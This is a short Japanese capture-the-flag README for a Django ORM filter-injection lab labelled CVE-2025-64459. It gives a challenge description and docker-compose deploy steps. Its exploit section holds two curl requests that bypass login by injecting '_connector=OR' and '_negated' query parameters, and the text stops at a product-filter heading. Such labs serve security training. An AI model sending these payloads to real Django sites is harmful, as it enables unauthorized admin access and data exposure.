CTF チャレンジ: Django ORM インジェクション (CVE-2025-64459)

カテゴリ: Webセキュリティ
難易度: 中級
脆弱性: CVE-2025-64459 - Django ORM フィルターインジェクション

📝 説明

私たちは管理パネル付きの安全なグッズショップを構築しました。認証をバイパスして、非公開の管理者メモを見つけられますか？

URL: http://YOUR_SERVER:6008

🚀 デプロイ

cd web_django_cve
docker-compose up --build -d

🎯 エクスプロイト (CVE-2025-64459)

認証バイパス (/login/)

# Using _connector=OR
curl "http://HOST:8054/login/?username=admin&_connector=OR&is_superuser=True"

# Using _negated
curl "http://HOST:8054/login/?username=admin&_negated=True"

プロダクトフィルターバイパス (/)